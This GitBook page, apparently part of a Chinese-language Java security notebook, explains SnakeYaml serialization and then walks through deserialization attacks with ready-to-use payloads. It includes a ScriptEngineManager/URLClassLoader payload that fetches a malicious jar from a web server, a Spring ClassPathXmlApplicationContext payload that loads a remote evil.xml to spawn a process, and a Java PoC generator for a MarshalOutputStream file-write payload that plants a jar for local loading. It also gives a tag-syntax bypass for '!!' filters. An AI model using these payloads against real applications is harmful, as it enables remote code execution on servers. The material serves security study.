Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 0x01 What Is SnakeYaml
  • 0x02 Best Practice
  • dump
  • load
  • 0x03 Way To Attack
  • ScriptEngineManager
  • SpringFramework远程加载配置
  • 写文件加载本地jar
  • 0x04 Yaml#load()
  • Article To Learn

Was this helpful?

  1. 👻Serial Journey
  2. Other Components

SnakeYaml

0x01 What Is SnakeYaml

SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

0x02 Best Practice

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

两个方法:

  • Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象

  • Yaml.dump():将一个对象转化为yaml文件形式

package com.snake.demo;

public class User {
    private String name;
    public int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public User() {
        System.out.println("Non Arg Constructor");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

    @Override
    public String toString() {
        return "I am " + name + ", " + age + " years old";
    }
}

dump

User user = new User("taco", 18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(user));

打印结果:

getName

!!com.snake.demo.User {age: 18, name: taco}

!!用于强制类型转换,与fastjson中@type字段类似

dump()还调用了非public成员的getter

load

String s = "!!com.snake.demo.User {age: 18, name: taco}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Non Arg Constructor

setName

I am taco, 18 years old

load()调用了无参构造器和非public成员的setter

实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。

String s = "!!com.snake.demo.User [\"taco\", 18]";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Arg Constructor Called

I am taco, 18 years old

此时就不会调用setter方法了

若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set

0x03 Way To Attack

yaml反序列化时通过!! + 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。

ScriptEngineManager

构造ScriptEngineManagerpayload,利用SPI机制通过URLClassLoader远程加载恶意字节码文件。

Github上面的EXP:https://github.com/artsploit/yaml-payload

工具的工程classpath下存在META-INF/services文件夹

javax.script.ScriptEngineFactory

artsploit.AwesomeScriptEngineFactory

打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

将生成yaml-payload.jar包放在web服务上

python -m http.server 9999

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]

下面来看一下触发流程

javax.script.ScriptEngineManager

ScriptEngineManager的无参构造器调用了init(),进行初始化设置后调用initEngines(),用于初始化脚本引擎。

接着到getServiceLoader,用于获取ServiceLoader迭代器

到了熟悉的ServiceLoader.load()返回一个ServiceLoader<T>,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。

next() => nextService()会加载接口实现类并实例化,在SPI那节已经介绍过了。

SpringFramework远程加载配置

Spring当中有两个类的构造函数远程加载配置,可以构成RCE

org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>calc</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]

既然能触发getter,那么fastjson的大部分payload也可以用。

写文件加载本地jar

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]

filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小

和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)

import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.yaml.snakeyaml.Yaml;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlFilePOC {

    public static void main(String[] args) throws IOException {
        String poc = createPoc("E:/flag.txt", "E:/a.txt");
        System.out.println(poc);
//        Yaml yaml = new Yaml();
//        yaml.load(poc);
    }
    public static String createPoc(String src, String path) throws IOException {
        byte[] file = JavaUtils.getBytesFromFile(src);
        int length = file.length;
        byte[] compressed = compress(file);
        String b64 = Base64.getEncoder().encodeToString(compressed);
        String payload = "!!sun.rmi.server.MarshalOutputStream " +
                "[!!java.util.zip.InflaterOutputStream [" +
                    "!!java.io.FileOutputStream [" +
                        "!!java.io.File [\"" + path + "\"],false]," +
                        "!!java.util.zip.Inflater  { input: !!binary " + b64 + " }, " + length +
                        "]]";
        return payload;
    }

    public static byte[] compress(byte[] input) throws IOException {
        Deflater deflater = new Deflater();
        deflater.setInput(input);
        deflater.finish();

        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

        byte[] buffer = new byte[1024];
        while (!deflater.finished()) {
            int compressedSize = deflater.deflate(buffer);
            outputStream.write(buffer, 0, compressedSize);
        }

        outputStream.close();
        return outputStream.toByteArray();
    }
}

既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载

Yaml yaml = new Yaml();
String poc = createPoc("./yaml-payload.jar", "E:/evil.jar");
yaml.load(poc);
String s = "!!javax.script.ScriptEngineManager [\n" +
    "!!java.net.URLClassLoader [[\n" +
    "!!java.net.URL [\"file:///E:/evil.jar\"]\n" +
    "]]\n" +
    "]";
yaml.load(s);

0x04 Yaml#load()

public <T> T load(String yaml) {
	return (T) loadFromReader(new StreamReader(yaml), Object.class);
}

payload存储于StreamReader的stream字段

回到loadFromReader(),创建了一个Composer对象,并封装到constructor中

private Object loadFromReader(StreamReader sreader, Class<?> type) {
    Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
    constructor.setComposer(composer);
    return constructor.getSingleData(type);
}

跟进getSingleData

getSingleNode()将poc改造为如下:

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>

若过滤了!!,可利用此tag规则进行绕过

接着调用constructDocument()对上面poc进行处理

跟进constructObject() => constructObjectNoCheck()

node放入recursiveObjects,进入constructor.construct(node)

遍历节点,调用constructObject()又循环回去了

constructObjectNoCheck()->

BaseConstructor#construct()->

Contructor#construct()->

递归Contructor#constructObject()

上面的POC有5个node,所以循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。

Article To Learn

PreviousOther ComponentsNextC3P0

Last updated 1 year ago

Was this helpful?

! [! [[! ["http://ip/yaml-payload.jar"]]]]

tag:yaml.org,2002:javax.script.ScriptEngineManager
tag:yaml.org,2002:java.net.URLClassLoader
tag:yaml.org,2002:java.net.URL
跳跳糖社区-SnakeYaml反序列化及不出网利用
image-20230123142111909
image-20230123143300458
image-20230123143314631
image-20230123144053760
image-20230123144716480
image-20230123145718466
image-20230123150505342
image-20230123150825914
image-20230123151057596
image-20230123151206835
image-20230123151433908
image-20230123153625236